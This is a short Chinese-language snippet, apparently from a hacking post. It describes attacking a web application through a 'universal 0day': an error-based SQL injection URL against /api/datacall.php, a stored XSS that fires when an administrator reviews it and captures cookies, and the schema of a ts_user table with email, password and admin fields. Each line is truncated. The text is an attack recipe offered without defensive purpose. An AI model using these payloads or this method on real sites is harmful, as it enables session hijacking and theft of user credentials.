以前暴出过通杀0DAY代码如下/api/datacall.php?type=user&limit=1&order=1 and(select 1 from(select count(* ,concat((select (select (sel...

先提交XSS。在管理员审查的时候，中标。获取到COOKIES.......

注入点注入字段表ts_user`uid` int(11 NOT NULL AUTO_INCREMENT,`email` varchar(255 DEFAULT NULL,`password` varchar(255 DEFAULT NULL,`adm...